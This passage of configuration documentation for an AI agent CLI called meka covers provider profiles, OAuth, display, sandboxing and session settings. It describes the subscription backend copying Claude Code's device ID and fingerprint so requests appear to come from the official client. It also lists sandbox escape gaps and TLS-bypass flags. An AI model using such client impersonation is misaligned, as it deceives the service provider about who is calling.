Every backend connects with a 30-second handshake deadline and fails a stream that produces nothing for five minutes, which surfaces as a retryable error rather than a hung turn.
Neither is a limit on the turn. There is deliberately no cap on how long a turn may run, how many tool calls it may make, or how many tokens it may spend: those ceilings belong to your API key and your provider plan, not to the harness. What these bound is silence. A model that is still thinking is still sending, so a stream that goes quiet for five minutes has died, and waiting on it forever is not patience.
default_provider
Top-level field naming the profile to use when --provider isn’t passed. Set it with
meka provider use <name>; meka provider add sets it automatically whenever it is absent, not only for the first profile.
Profile fields
type
The backend the profile uses (required).
| Value | Protocol | Auth |
|---|---|---|
anthropic-messages | Anthropic Messages, POST {base}/v1/messages | API key (x-api-key) |
claude-subscription | Anthropic Messages, against api.anthropic.com | Claude subscription OAuth (fingerprinting + attestation) |
openai-chat-completions | OpenAI Chat Completions, POST {base}/chat/completions | API key |
openai-responses | OpenAI Responses, POST {base}/responses | API key |
chatgpt-subscription | OpenAI Responses, against chatgpt.com/backend-api/codex | ChatGPT subscription OAuth |
A backend names the wire protocol it speaks, not a vendor. See Providers Overview for why, and which servers implement which protocol.
base_url
Custom API base URL. Useful for:
- Self-hosted models via Ollama (
http://localhost:11434/v1) - OpenRouter (
https://openrouter.ai/api/v1) - Other OpenAI-compatible API providers
If not set, defaults to:
https://api.openai.com/v1for theopenai-chat-completionsandopenai-responsesbackendshttps://chatgpt.comfor thechatgpt-subscriptionbackend (request path is/backend-api/codex/responses)https://api.anthropic.comfor theanthropic-messagesandclaude-subscriptionbackends
Change it with meka provider set <name> base_url <value>.
The two API families end their base URL in different places, and that is not meka’s choice. An
OpenAI-compatible base includes the version segment, which is why every provider documents one
ending in /v1 and why meka appends only /chat/completions. A Claude base is the host root,
because meka reaches two different roots off it: /v1/messages for the turn, and /api/oauth/...
for the subscription usage and profile endpoints. A base ending at /v1 could not reach the second
set. The official SDKs draw the line the same way.
A gateway that fronts both APIs therefore publishes two URLs, and its Anthropic one is often written
with the /v1 its OpenAI sibling needs (https://api.synthetic.new/anthropic/v1). Paste it as-is:
for a anthropic-messages or claude-subscription profile meka drops a trailing /v1, since it re-adds that
segment on every request and the alternative is a request to /v1/v1/messages. Only a trailing one
goes, so a base whose path legitimately contains /v1 earlier
(https://gateway.ai.cloudflare.com/v1/{account}/{gateway}/anthropic) is left alone. Trailing
slashes are trimmed for every backend.
The reverse is not inferred: an openai-chat-completions base is used exactly as written, because a gateway
serving /chat/completions at its root is legitimate and meka cannot tell that apart from a missing
/v1. If an OpenAI-compatible endpoint 404s, check that the base carries the version segment its
documentation shows.
oauth_token_url
The OAuth token endpoint meka posts to, for the initial code exchange at meka provider add /
login and for every refresh thereafter. Both, not just refreshes: it overrides a constant, so it
overrides it everywhere that constant is used. Defaults:
https://api.anthropic.com/v1/oauth/tokenforclaude-subscriptionhttps://auth.openai.com/oauth/tokenforchatgpt-subscription
It exists because that endpoint is the provider’s fact, not meka’s, and a value baked into the
binary either goes stale or sits on the far side of a proxy your network makes you use. Set it with
client_id when your route out needs both.
There is deliberately no authorize_url to go with it, and the asymmetry is not an oversight: meka
never requests the authorisation URL, it hands it to your browser, so an egress proxy is never in
that path. The two legs meka makes itself are the code exchange and the refresh, and this covers
both.
client_id
OAuth client ID override (advanced; claude-subscription / chatgpt-subscription only). Leave unset to use meka’s built-in default client IDs.
device_id
claude-subscription only. Stable per-device identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device ID (getOrCreateUserID in utils/config.ts).
If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine look like the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way, the resolved value is persisted back to the profile under [providers.<name>].device_id. This file write only happens for the claude-subscription backend; other backends don’t need a device ID.
You can supply your own value if you want to control attribution explicitly:
[providers.work]
type = "claude-subscription"
device_id = "your-stable-id-here"
model
The model identifier to send to the provider, forwarded verbatim. meka does not gate which strings are valid, so an OpenAI-compatible endpoint accepts whatever that server exposes.
meka provider add suggests claude-opus-5 for a Claude profile and gpt-5.6-sol for an OpenAI one. For the current line-ups, see Anthropic’s models overview and OpenAI’s models overview; naming them here would go stale on someone else’s schedule.
Change it with meka provider set <name> model <value>.
context_window
The model’s context window (total tokens it can hold), used for the /status gauge and auto-compaction. Takes precedence over [session].context_window; when neither is set, meka assumes 1000000.
meka never infers this from the model name and never asks the provider for it, so this is where a model smaller than the default gets stated. It is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request - but leaving it at 1M for a smaller model means planned compaction never fires, and every compaction instead happens after the provider rejects the request as too large, costing a wasted round trip each time.
The window belongs to the session, not to the process: each session is measured against the profile it recorded, so two sessions in one meka serve can sit on profiles with different windows.
[providers.work]
type = "openai-chat-completions"
model = "my-128k-model"
context_window = 131072
max_output_tokens
Override the per-request output (completion) token cap. When unset, each backend keeps its built-in default:
| Backend | Default when unset |
|---|---|
Claude, thinking adaptive | 64000 |
Claude, budgeted | twice the resolved budget, or 32000, whichever is larger |
Claude, off | 32000 |
openai-chat-completions with an effort set | 32000, since reasoning spends output tokens |
| Everything else, both Responses backends included | the endpoint’s own |
Under thinking = "budgeted" the value must exceed the profile’s resolved thinking budget (thinking_budget, else [thinking].budget_tokens, else 16000). meka provider add and meka provider set both refuse a profile that fails this, and it is validated again at startup.
[providers.work]
type = "anthropic-messages"
max_output_tokens = 16000
effort
One knob for reasoning effort across every backend: Claude sends it as output_config.effort (claude-subscription under the effort-2025-11-24 beta, anthropic-messages directly), OpenAI as reasoning.effort (with max_completion_tokens in place of max_tokens).
When unset the field is omitted, and the provider applies its own default. claude-subscription is the exception: it sends high, matching Claude Code. That is the point of leaving it unset: effort is a request parameter the provider owns, and omitting it is how you ask for whatever that provider considers right. meka picks no tier of its own, because it cannot know which tiers a given endpoint implements - anthropic-messages and openai-chat-completions reach any compatible server, including local ones serving weights that never had a reasoning knob, and a tier the backend doesn’t implement is a rejected request rather than a graceful ignore.
An explicit value is absolute: sent verbatim (trimmed and lowercased), with no validation or clamping, whatever model it is aimed at. You own correctness for your model and endpoint; an invalid value is rejected by the API. A blank value reads as unset.
Typical values: low, medium, high, xhigh, max.
[providers.work]
type = "claude-subscription"
effort = "xhigh"
vision
Whether this profile’s model accepts image input. Defaults to true. Set false for a text-only model so attachments are refused rather than sent to a model that cannot read them.
Refusal is per session, from the profile that session recorded, on both ACP and POST /v1/sessions/{id}/turn. What ACP advertises in promptCapabilities.image is necessarily per connection: initialize is answered before any session exists, so it reports the default profile’s flag. A client on a vision-capable connection can still have its attachment refused by a session pinned to a text-only profile. See ACP.
[providers.local]
type = "openai-chat-completions"
model = "llama-3-8b"
vision = false
thinking
Claude-only. How the request encodes extended thinking, and whether it asks for it at all:
| Value | Wire shape |
|---|---|
adaptive (default) | thinking: {"type": "adaptive"} - the model sets its own budget. Claude 4.6+ |
budgeted | thinking: {"type": "enabled", "budget_tokens": N}, with N from thinking_budget, else [thinking].budget_tokens, else 16000. Required by pre-4.6 Claude, and the form most third-party Anthropic-compatible servers implement |
off | No thinking field |
One knob rather than two: it replaces both the old on/off switch and the encoding meka used to infer from the model name. The right value depends on the model and on what the endpoint implements, which meka can’t determine, so the profile states it - and a profile whose model later changes is yours to keep correct.
[providers.local]
type = "anthropic-messages"
thinking = "budgeted"
thinking_budget
Tokens the model may spend thinking. Read only under thinking = "budgeted"; the other two modes send no budget at all. A profile that states none falls back to [thinking].budget_tokens, and then to 16000.
Per profile because it is a parameter of thinking, and thinking is per profile. It was one installation-wide value until 0.44, which meant a profile could be refused over a number stated nowhere in it, and told to fix it by lowering a global every other profile was also budgeting against. Under thinking = "budgeted" this profile’s max_output_tokens must exceed the resolved budget, and the remedy now names this profile’s own keys.
[providers.work]
type = "anthropic-messages"
thinking = "budgeted"
thinking_budget = 20000
redact_thinking
claude-subscription only. Sends the redact-thinking-2026-02-12 beta header for capable models, matching Claude Code, which enables it by default. With it on the server withholds the readable chain of thought: thinking blocks return with empty text plus a signature, and redacted_thinking blocks carry an opaque data payload. meka preserves and replays both verbatim, so multi-turn continuity holds. No reasoning text is shown for these models; in its place the REPL draws a live Thinking... (150 tokens) indicator from the server’s running estimate, redrawn as the count climbs and left on screen when the phase ends, so a long silence reads as progress and stays legible afterwards. Defaults to true; set false to drop the beta and keep interleaved thinking visible.
[providers.work]
type = "claude-subscription"
redact_thinking = false
meka provider CLI
Add, switch, and remove profiles without editing config.toml by hand. The credential prompt /
OAuth login runs as part of add and login, and secrets are written to the database, never the
config file.
| Command | Action |
|---|---|
meka provider add <name> [--type T] [--model M] [--base-url U] [--api-key-stdin] | Add a profile. Prompts for any of type/model interactively when not flagged (the model prompt offers a backend default: claude-opus-5 for Claude, gpt-5.6-sol for OpenAI), then acquires the secret (OAuth login for claude-subscription / chatgpt-subscription, API-key prompt for anthropic-messages / openai-chat-completions / openai-responses). --api-key-stdin reads the key from stdin instead, and then needs --type and --model as flags too, since a prompt would consume the piped key; it is refused for the two subscription backends, which have no key to read. Becomes default_provider whenever none is set. Every other profile field has a flag writing the key of the same name: --oauth-token-url, --client-id, --context-window, --max-output-tokens, --effort, --vision, --thinking, --thinking-budget and --redact-thinking, so one non-interactive command can create a profile of any shape. The optional advanced prompt covers only thinking, context window and effort, plus the thinking budget if you answer budgeted; the rest are flag-only, and an unflagged setting is left out of the profile so its documented default applies. device_id has no flag, because meka resolves and persists it itself. |
meka provider list | List configured profiles with type, model, the default marker, and whether each has a stored credential. Also names any stored credential that no profile claims (see Leftover credentials). |
meka provider set <name> <key> <value> | Change one setting on an existing profile, in place. --unset in place of the value removes the key instead. See Changing one setting. |
meka provider use <name> | Set default_provider to this profile. |
meka provider login <name> [--api-key-stdin] | Re-acquire the secret for an existing profile (re-authenticate, recover from a dead OAuth refresh token, or rotate an API key). --api-key-stdin reads the key from stdin for scripted rotation, and is refused on the subscription backends, which have no key to read. Every other setting on the profile is kept, which remove + add would not do. |
meka provider remove <name> | Delete the stored credential from the database and remove the [providers.<name>] entry from the config file. Works on a name with only one of the two, so it can clean up after a hand-edit. Warns if it clears a default_provider that other profiles are still competing for, and if any sessions are pinned to the profile it deleted (those refuse to resume until it is configured again, or moved with meka -r <id> --provider <name>). |
--api-key-stdin reads the key from standard input instead of prompting, for scripted setup:
$ printf '%s' "$OPENAI_API_KEY" | meka provider add local --type openai-chat-completions --model gpt-5.6-sol --api-key-stdin
Changing one setting
meka provider set <name> <key> <value> writes one key into [providers.<name>]: every other
setting keeps its value, and every comment you wrote above or beside a key stays attached to that
key. This is how a profile’s model changes, since there is no per-run flag for it.
Keys are left in the order Profile fields documents, so a profile meka has written to is in that order whatever order it was in before. That is deliberate rather than incidental: every writer normalises, so the file does not depend on which command last touched it, and there is one shape to read rather than one per history. Comments move with their keys, so an annotated profile stays annotated.
$ meka provider set work model claude-opus-5
$ meka provider set work context_window 200000
$ meka provider set work effort --unset
--unset removes the key so the profile falls back to meka’s default for it. That is not the same
as writing an empty value: an absent key follows whatever the documented default later becomes,
which is what an unstated setting has always meant.
Eleven keys are settable, each named after the profile field it writes:
| Key | Value |
|---|---|
base_url | Any string |
oauth_token_url | Any string |
client_id | Any string |
model | Any string, forwarded to the provider verbatim |
context_window | A whole number of tokens |
max_output_tokens | A whole number of tokens |
effort | Any string |
vision | true or false |
thinking | adaptive, budgeted, or off |
thinking_budget | A whole number of tokens |
redact_thinking | true or false |
A token count must be whole and at most 9223372036854775807, the largest integer TOML can represent;
anything else is refused before the file is opened. A boolean takes true or false and nothing
else, so yes and 1 are refused rather than read as true. A key that is not on the list, and a
profile name that is not configured, are both refused by name with the valid ones listed.
type and device_id are on the profile but deliberately not settable, and the refusal says why
rather than leaving them silently off the list:
typewould leave the profile’s stored credential, acquired for the current backend and different in kind between backends, unable to serve it. Usemeka provider removeand thenmeka provider addinstead.device_idis meka’s own, resolved and persisted per profile (seedevice_id).
Two more rules are enforced on meka provider add and meka provider set alike, so neither door can
leave behind a profile the other would have declined:
thinking,thinking_budgetandredact_thinkingon a backend that never sends them.thinkingandthinking_budgetare Anthropic Messages request fields, soanthropic-messagesandclaude-subscriptionprofiles carry them and nothing else does.redact_thinkingis narrower still: it gates a beta header onlyclaude-subscriptionsends, so ananthropic-messagesprofile takes a thinking field and declines the redaction flag beside it.setrefuses the key and writes nothing;adddrops the flag with a warning and creates the profile without it. Same outcome either way: the key never lands where it would read plausibly and do nothing.set --unsetis allowed on all three, because removing an inert key is the remedy rather than the offence, and a hand-edited file is the one place one can already be sitting.- A
max_output_tokensthat does not exceed the thinking budget, underthinking = "budgeted"on one of those two backends. The budget is drawn from the output cap, so such a profile cannot produce a valid request; both commands check the file they are about to write and refuse before writing it.
Leftover credentials
Adding a profile by hand works: write a [providers.<name>] block, then run meka provider login <name> to attach the credential. Deleting one by hand is only half the job. Credentials live in the
database keyed by profile name, so removing the block takes the settings away and leaves the API key
or OAuth refresh token behind, still valid.
Nothing deletes it on your behalf. meka will not sweep the database against the config at startup:
MEKA_CONFIG_DIR and MEKA_DATA_DIR are independent, so a config read from the wrong place, or one
meka could not parse, would present as “no profiles configured” against a real database and take
every credential with it. Losing an OAuth refresh token that way means redoing the browser login for
each account.
Instead, meka provider list reports what it finds:
$ meka provider list
Name Type Model Authenticated Default
work anthropic-messages claude-opus-5 yes *
Stored credentials with no profile: archive
meka provider remove archive then deletes it. The same applies to MCP servers, reported by meka mcp list and cleaned by meka mcp remove <name>.
Examples
claude-subscription
$ meka provider add work --type claude-subscription --model claude-opus-5
# Opens the browser for the OAuth login, then stores the token in the database.
anthropic-messages
$ meka provider add anthropic --type anthropic-messages --model claude-opus-5
# Prompts for your Anthropic API key (sk-ant-api03-...).
openai-chat-completions
$ meka provider add openai --type openai-chat-completions --model gpt-5.6-sol
# Prompts for your OpenAI API key (sk-...).
openai-responses
$ meka provider add openai --type openai-responses --model gpt-5.6-sol
# Prompts for your OpenAI API key (sk-...). Same key as openai-chat-completions,
# newer protocol; also reaches Ollama, vLLM, LM Studio and OpenRouter.
chatgpt-subscription
$ meka provider add chatgpt --type chatgpt-subscription --model gpt-5.6-sol
# Opens the browser for the ChatGPT OAuth login.
Ollama (local, no key)
$ printf 'unused' | meka provider add ollama --type openai-chat-completions --model llama3 \
--base-url http://localhost:11434/v1 --api-key-stdin
OpenRouter
$ meka provider add openrouter --type openai-chat-completions --model anthropic/claude-sonnet-4.6 \
--base-url https://openrouter.ai/api/v1
# Prompts for your OpenRouter key (sk-or-...).
[display]
Settings for output formatting.
display.render_mode
Output render mode. Equivalent to the --render-mode CLI flag.
| Value | Description |
|---|---|
syntect | Syntax-highlighted markdown source, incl. per-language code blocks; never reflowed |
termimad | Rendered CommonMark, reflowed to the terminal: paragraphs re-wrap, wide tables wrap, markers are consumed. Same theme colours as syntect, and code blocks are highlighted by it. Alias: rich (default) |
raw | Raw markdown printed verbatim with aligned tables |
Default: termimad
Reflowing only happens when there is a terminal to reflow to. With output redirected or piped,
termimad renders without wrapping, so a captured answer is not hard-wrapped to some fallback
width.
[display]
render_mode = "raw"
display.max_width
Widest line meka composes from model output, in terminal columns.
Default: unset, meaning the terminal’s own width, so nothing ever wraps.
Set it to pin the width instead:
[display]
max_width = 120
A set value is honoured exactly rather than clamped to the terminal, because pinning it is how you get identical output across machines and a silent clamp would take that away on the narrow one. The cost is that a value wider than your terminal wraps, and a wrapped row starts at column zero, where meka’s own output lives. Below 40 columns the value is clamped up and a warning is logged: every budget subtracts fixed chrome first, and below roughly that the subtraction leaves nothing. Above 1000 it is clamped down, also with a warning, since no terminal is that wide and the value is far more likely to be a typo than a request.
This covers meka’s own output: tool indicators and their argument block, thinking previews, todo
lists, and the ask approval prompt. Assistant markdown is not affected and keeps reflowing to the
real terminal through display.render_mode. With output piped there is no
terminal to measure, so an unset width falls back to 100 columns and a captured run stays byte-stable.
A terminal narrower than 20 columns is treated as 20. That is not a legibility judgement: the thinking block’s own prefix is twelve columns, so below roughly that meka’s chrome no longer fits and the width stops meaning anything. Such a terminal wraps meka’s output whatever the number says.
display.tool_params
How much of a tool call’s input the [tool ...] indicator shows.
This setting covers the indicator only. In ask permission mode the approval prompt always shows
every argument, whatever this is set to: the indicator is a notification, the prompt is a decision,
and setting off for a quiet scrollback must not leave you approving calls you cannot see.
| Value | Description |
|---|---|
off | Name only: [tool Shell]. No argument reaches your terminal |
summary | Name plus the one argument that identifies the call: [tool Shell(`cargo test`)] (default) |
full | Every argument, as an indented block under the name |
Default: summary
full writes each parameter on its own line. A value that fits on a line follows its key; one that
does not gets an indented block under a bare key:, so a multi-line edit_file argument stays
readable instead of collapsing into escaped newlines. Nesting is carried by indentation, with -
for array elements:
[tool EditFile]
path: src/render.rs
old_string:
let first_line = thinking.lines().next().unwrap_or("");
let truncated = truncate_display(first_line, 80);
[tool AgentSpawn]
prompt: Audit the scheduler for missed-occurrence bugs
tools:
- read_file
- search_contents
Consecutive calls are separated by a blank line under full, since each one is a block and running
them together reads as a single call with too many parameters. Under summary they stay flush, which
is what makes a run of them read as a list of steps.
This is a reading format, not a data format: quotes are dropped, so timeout: 300 doesn’t say
whether the model sent 300 or "300". Four caps keep one call from filling the screen, and each
says what it hid:
| Cap | Limit | Marker |
|---|---|---|
| One argument’s value | 30 lines | ... N more lines, indented under that argument |
| One argument’s rows | 32 rows | ... N more rows, indented under that argument |
| The block | 60 rows, checked at an argument boundary | ... N more arguments: name, name |
| One line | display.max_width | ... at the cut |
The first two caps look redundant and are not. A string value has lines to count, so it is trimmed by line and the marker counts lines. An array or an object has none: it fans out one row per element, so it needs a bound counted in rows, and the marker says rows rather than pretending they were lines.
The line cap is exact, brackets and indentation included. The block cap is not: it is checked before an argument is rendered rather than after, so the block reaches at most the block cap plus one argument’s own budget plus the line naming what went – 93 rows.
The block cap drops whole arguments and names them rather than cutting wherever row 60 lands.
Knowing that path was passed but not shown beats seeing 60 rows of content and never learning
which file it was written to.
A cut keeps the end. Where a whole argument is dropped it is named; where rows are dropped the last one is kept, so a long array still shows its final element and a trimmed value still shows how it finishes. The reasoning is the same one that elides a long path from its middle rather than its tail: the end of a thing too big to show is usually the half that identifies it.
When you need the exact JSON a tool was called with, meka session export has it, untruncated and
unflattened.
full puts every argument on screen, secrets included. summary shows only the one argument
that identifies a call (write_file’s path, fetch_url’s URL), so a request header carrying a token
or a file body carrying a key stayed off screen. full shows all of them, and replayed history
reprints them on every /history and every resume. meka never puts its own credentials into tool
arguments, so what appears is what the model itself passed, but that is worth knowing before turning
this on where somebody can read over your shoulder or your scrollback.
Values are escape-stripped, their newlines and carriage returns flattened, and Unicode format characters (bidi overrides, soft hyphens, zero-width joiners) removed, so an argument cannot move your cursor, reorder what you read, or place text at column zero where meka’s own output lives.
No line exceeds display.max_width, so by default nothing wraps and no row ever
begins with model text. Setting max_width wider than your terminal gives that up, which is the one
case where a long argument can still produce a row starting flush left.
One residual caveat: the ... N more lines, ... N more rows and ... N more arguments markers are
ordinary text, so an argument whose content mimics one is indistinguishable from a real elision. That
does not let an argument run anything, but it can mislead a reader who is not expecting it.
Applies to the REPL, to one-shot runs (meka --oneshot), and to replayed history (/history,
resume_show_recent). ACP sends structured tool-call fields to the editor and the HTTP API’s SSE
events already carry the raw input, so neither is affected.
[display]
tool_params = "full"
display.show_session_id_on_create
Whether to display the session ID when a new session is created.
Default: false
display.show_session_id_on_exit
Whether to display the session ID when meka exits.
Default: true
[display]
show_session_id_on_create = true
show_session_id_on_exit = false
display.show_path_in_prompt
Whether to show the current working directory in the interactive prompt.
Default: true
display.show_context_in_prompt
Whether to show a live context-window gauge in the interactive prompt, e.g. 128.4k/1.0M 13% (tokens in context / model window / percent used). The figure comes from the most recent turn’s reported usage (and an estimate right after /compact or on resume), the same value /status shows on its Context: line. Hidden until the first turn produces a measurement.
Default: false
display.newline_before_prompt
Whether to add a blank line before the prompt, after whatever the previous line produced.
Default: true
display.newline_after_prompt
Whether to add a blank line after the line you typed, before its output. On a resume there is no typed line: the Continuing session: banner takes its place, and this is the blank between that banner and the replayed history.
Default: true
Both apply to anything printed between two prompts, not only agent responses. That span is the
unit, whatever filled it: a turn, a slash command’s output (/tasks, /memory, /help, …), an
error, a scheduled job waking the shell to run several turns at once, or any combination. It is
bracketed once, by whichever of those printed first and last – never once per turn inside it, and
never twice because two things both thought they owned the spacing.
Both space output away from meka’s prompt, so neither applies at the edges of a run, where the
prompt is your shell’s. Whatever meka prints before drawing its first prompt sits directly under the
command you typed – Continuing session: on a resume, or the answer to a prompt you passed on the
command line – and its last line is followed straight by the shell prompt. Start meka with no
prompt and there is nothing above its first prompt to space away from, so the rule never comes up.
The blank lines bracket output, so a span that prints nothing gets neither, and leaves the
screen exactly as it found it. In practice every slash command says something, even if only that a
list is empty. Three cases where nothing is printed and nothing is spaced: a successful /cd,
because the prompt itself is the confirmation; a successful /clear, because the cleared screen is;
and a scheduled wake that finds nothing left to run. !command is the one exception in the other
direction – it is always bracketed, because meka hands the terminal to the child process and never
learns whether it wrote anything, so a silent !touch file still gets its blank lines.
Turning a setting off removes that blank line and nothing else. The spacing between blocks of a single response – a tool indicator and the answer that follows it, or a thinking block and the text after it – is not controlled by either flag and does not change.
display.show_token_usage
When true, meka prints a one-line per-turn token-usage summary to stderr after each turn:
[in 12.3k / cache hit 96% / out 1.2k]
The in column is the total of all three Anthropic input tiers (live, cache-write, cache-read); cache hit % is cache_read / total_in. Useful for monitoring caching effectiveness during long sessions. The /status slash command surfaces cumulative session stats in the same vein.
Default: false
display.resume_show_recent
When set to a positive integer N, resuming a session reprints the last N turns (each turn = the user’s prompt plus everything the agent did in response, styled to match the live REPL) instead of just the last assistant message.
Useful when you regularly resume long-running sessions and want more context than the single-message default. Inside a session, the /history slash command provides the same rendering on demand (/history dumps everything; /history N shows the last N turns).
Default: unset (resume reprints only the last assistant message, today’s behaviour).
[display]
resume_show_recent = 3
display.input_style
Visual style applied to a REPL prompt once it is submitted. Makes past prompts easy to spot when scrolling back through a long session. A line still being edited keeps the terminal’s own colours; the style arrives on reedline’s final paint, which is the one that lands in scrollback.
The leading /command token is a separate signal and is coloured as you type, green when meka recognises the command and red when it does not. This setting does not affect it.
Accepted values:
default(or unset): bold white-ish foreground on a slate-blue background, rendered in truecolor RGB so it looks the same across terminal themes.none: disable styling entirely.reverse: reverse video (swaps the terminal’s current foreground and background).bold,dim,italic,underline: single attribute, no colour change.- A colour name (
black,red,green,yellow,blue,magenta/purple,cyan,white): set only the foreground, mapped to the terminal’s palette.
Unknown values warn at startup and fall back to default.
Default: the banner preset described above.
[display]
show_path_in_prompt = false
newline_before_prompt = false
newline_after_prompt = false
input_style = "none" # or "cyan", "bold", "dim", etc.
[web]
Settings for the HTTP client shared by fetch_url and search_web. All keys are optional; unset fields use the defaults shown below.
| Key | Type | Default | Purpose |
|---|---|---|---|
user_agent | string | Real Chrome UA | Some search engines block non-browser UAs. Override if you need a specific identifier. |
request_timeout_seconds | int | 30 | Total request budget (connect + TLS + read). 0 falls back to the default. |
connect_timeout_seconds | int | unset | Separate cap on TCP + TLS handshake. Fail fast on unreachable hosts without shortening the whole request budget. |
read_timeout_seconds | int | unset | Per-chunk idle timeout. Catches bodies that stall mid-stream. |
max_redirects | int | 10 | Cap on 3xx hops. 0 disables redirects entirely. |
proxy | string | unset (honours HTTP_PROXY / HTTPS_PROXY / ALL_PROXY env) | Proxy URL. Schemes: http://, https://, socks5://, socks5h://, socks4://. The literal string "none" explicitly disables env-var auto-detection. |
ca_cert_file | path | unset | Extra PEM bundle to trust on top of the system store. Useful for corporate MITM proxies or self-signed internal services. Accepts single-cert and multi-cert files. |
https_only | bool | false | Refuse plain http:// URLs. |
min_tls_version | string | unset (reqwest default) | Minimum TLS version. Accepts "1.0", "1.1", "1.2", "1.3". Unknown values log a warning and fall through. Note: the bundled rustls backend supports only TLS 1.2 and 1.3; "1.0" / "1.1" will surface a build error. |
danger_accept_invalid_certs | bool | false | DANGEROUS. Disable TLS certificate validation entirely. Emits a warn! on every startup when enabled. Only use against trusted local dev servers. |
danger_accept_invalid_hostnames | bool | false | DANGEROUS. Accept certificates whose hostname doesn’t match. Emits a warn! on every startup when enabled. Only use against trusted local dev servers. |
Example: corporate proxy with a private CA
[web]
proxy = "http://corp-proxy.internal:3128"
ca_cert_file = "/etc/ssl/corp-root-ca.pem"
min_tls_version = "1.2"
request_timeout_seconds = 60
Example: local testing against self-signed certs
[web]
# Route everything through a local SOCKS proxy you control.
proxy = "socks5h://127.0.0.1:1080"
# Accept self-signed certs on dev.local, KEEP THIS OFF IN PROD.
danger_accept_invalid_certs = true
Example: fail-fast timeouts
[web]
request_timeout_seconds = 5
connect_timeout_seconds = 2
max_redirects = 0
[shell]
Settings for shell command execution.
shell.sandbox
Whether to enable read-only filesystem sandboxing for shell commands in read mode. When enabled (default), shell commands can be executed at read and workspace but with the filesystem write-protected outside the workspace roots. When disabled, shell commands require unrestricted.
Default: true
[shell]
sandbox = false # disable sandboxed shell in read mode
The sandbox uses one of two backends on Linux (see shell.sandbox_backend), sandbox-exec on macOS, and a duplicated Low-integrity primary token on Windows. On platforms where no backend is usable, shell commands always require unrestricted regardless of this setting.
shell.sandbox_backend
Linux-only choice between "landlock" and "bubblewrap":
- Bubblewrap (
"bubblewrap") wraps the command inbwrapwith read-only bind of/, tmpfs masks over/run//tmp//var/tmp/$XDG_RUNTIME_DIR, and--unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks hide the dbus session bus and the systemd-user socket, so state-changing IPC calls likesystemctl --user startanddbus-sendfail. Network is intentionally not unshared socurl http://x | pdftotextstill works. Requires thebubblewrappackage and a kernel with user-namespace creation enabled. - Landlock (
"landlock") uses the Landlock LSM to block filesystem writes, and requires ABI v3 (kernel 6.2+): below thattruncate(2)is unmediated, so a read-mode command could still empty a file, and meka reports the backend unusable instead. On kernel 7.1+ (ABI v9) it also blocksconnect()to Unix sockets on disk, closing the dbus / systemd-user route out of the sandbox at the cost of socket-based clients likedockerandpsql. Between v3 and v9 that right does not exist, so a sandboxed shell can still invoke state-mutating dbus methods; meka warns at startup naming what the running ABI lacks. Kept as the lighter-weight fallback for hosts without Bubblewrap.
When omitted, meka probes Bubblewrap once at startup. If Bubblewrap is available it auto-picks it; otherwise it auto-picks Landlock and emits a one-shot warning nudging you to install bubblewrap for stronger protection. Set the field explicitly to either value (including "landlock") to suppress that warning. meka provider add does not write this field; leave it unset to keep auto-detection.
If the configured backend can’t be used at runtime (bwrap not installed, user namespaces denied, etc.), execute_command in read mode hard-errors with a message naming the configured backend and the specific failure reason. Read mode is not blocked for other tools; only execute_command requires a usable sandbox.
Overridable for one run with meka --sandbox-backend landlock|bubblewrap, and for a whole
environment with MEKA_SANDBOX_BACKEND. Precedence is flag, then environment, then this field.
Default: unset (auto-detect). Ignored on macOS and Windows.
[shell]
sandbox = true
sandbox_backend = "bubblewrap" # or "landlock"
[permissions]
Controls which permission modes are reachable at runtime and which mode the session starts in. See the Permissions page for what each mode does.
| Field | Required | Description |
|---|---|---|
default | No | Mode the session starts in. One of "none", "read", "workspace", "ask", "unrestricted". Default "read". Overridden by --permission and MEKA_PERMISSION. |
enabled | No | List of modes that can be reached at runtime via /permission and Shift+Tab. Default ["none", "read", "workspace", "unrestricted"]; "ask" is opt-in. Disabled modes are skipped during Shift+Tab cycling and rejected by /permission with an error. |
If default is not in enabled, meka logs a warning and falls back to read if it’s enabled, otherwise the lowest-discriminant enabled mode (in none → read → workspace → ask → unrestricted order). Same behavior if --permission or MEKA_PERMISSION selects a disabled mode: meka warns and starts in the configured default rather than refusing to launch.
[permissions]
default = "read"
enabled = ["none", "read", "workspace", "ask", "unrestricted"] # opt back into ask
[session]
Settings for session history retention and context window management.
session.context_messages
Maximum number of messages to send to the LLM API per request. Older messages are truncated from the beginning while preserving tool call chain integrity. The full history remains stored in SQLite; only the API payload is limited.
The cap is applied to every request in a turn, not just the first, so a long tool loop cannot grow the payload past it mid-turn. It is a maximum rather than a target: the cut lands on the first message that is safe to start from, which means dropping a whole tool_use → tool_result pair rather than splitting one, and a request can end up under the limit as a result. A turn whose entire tail is one unbroken tool chain is the exception; there the payload runs over rather than be rejected by the provider.
Default: 200. 0 is rejected at startup.
[session]
context_messages = 100
session.retention_days
Delete sessions older than this many days, at agent startup. Uses updated_at, so an actively-resumed session is preserved even if created long ago. Deletions are reported at warn level.
Two kinds of session are spared whatever their timestamp says, and the sweep reports how many it left behind. A session another meka process has open is skipped – only turns bump updated_at, and resuming does not, so a REPL sitting at its prompt past the window looks expired while somebody is in front of it. And a session with a scheduled job still ahead of it is never expired, nor is any parent of one: a gated watcher that evaluates every tick and rarely fires looks untouched for exactly as long as it is working, and deleting it would take the schedule with it.
Default: unset, meaning nothing is deleted. Conversation history isn’t reproducible, so meka keeps it until told otherwise. Use meka session delete --older-than-days <DAYS> to prune manually instead.
[session]
retention_days = 30
session.auto_compact
Automatically compact the conversation when input tokens exceed 80% of the context window. Compaction summarizes older messages and preserves recent ones, the todo list, and scratchpad entries.
Default: true
[session]
auto_compact = false
session.compact_checkpoint
Run a checkpoint turn before each compaction, in which the agent saves anything that must outlive the window and writes the replacement summary itself. See Compacting a Session.
Costs one extra model call per compaction. Turning it off falls back to a standalone summarizer that has no tools and none of the agent’s identity, so it cannot save to memory and cannot apply any judgment about what this particular agent is for.
Note that this applies to automatic compactions too, so an unattended checkpoint can write memory with nobody watching.
Default: true
[session]
compact_checkpoint = false
session.context_window
Override the model’s context window size (in tokens). Used for auto-compact threshold calculation. A per-profile [providers.<name>].context_window takes precedence over this.
When neither is set, meka assumes 1000000. It does not infer the window from the model name, query the provider’s models API, or cache anything: the window is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request, and the user is the one who knows the truth.
